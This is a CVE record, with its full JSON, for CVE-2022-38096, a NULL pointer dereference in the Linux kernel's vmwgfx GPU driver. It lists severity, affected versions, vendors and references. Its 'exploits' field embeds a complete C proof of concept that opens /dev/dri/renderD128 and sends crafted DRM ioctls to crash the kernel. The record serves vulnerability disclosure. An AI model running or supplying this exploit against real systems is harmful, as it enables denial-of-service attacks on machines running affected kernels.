CVE-2022-38096 (GCVE-0-2022-38096)
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2026-05-12 10:12
Severity ?
6.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
CWE
  • CWE-476 - NULL Pointer Dereference
Summary
A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
Impacted products
Vendor Product Version
Linux kernel Version: v4.20-rc1   < 5.13.0-52*
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{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.14",
                "status": "affected",
                "version": "v4.20-rc1",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-38096",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-26T13:45:25.191519Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-26T13:49:29.690Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T10:45:52.802Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
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        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
          },
          {
            "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:29.908Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.13.0-52*",
              "status": "affected",
              "version": "v4.20-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
      ],
      "datePublic": "2022-09-06T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){  \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
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          ]
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      "providerMetadata": {
        "dateUpdated": "2024-06-25T21:08:05.642Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
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      "references": [
        {
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
        },
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          "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        }
      ],
      "source": {
        "defect": [
          "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
        ],
        "discovery": "INTERNAL"
      },
      "title": "There is a NULL pointer vulnerability in vmwgfx driver",
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2022-38096",
    "datePublished": "2022-09-09T14:39:51.163Z",
    "dateReserved": "2022-09-07T00:00:00.000Z",
    "dateUpdated": "2026-05-12T10:12:29.908Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}


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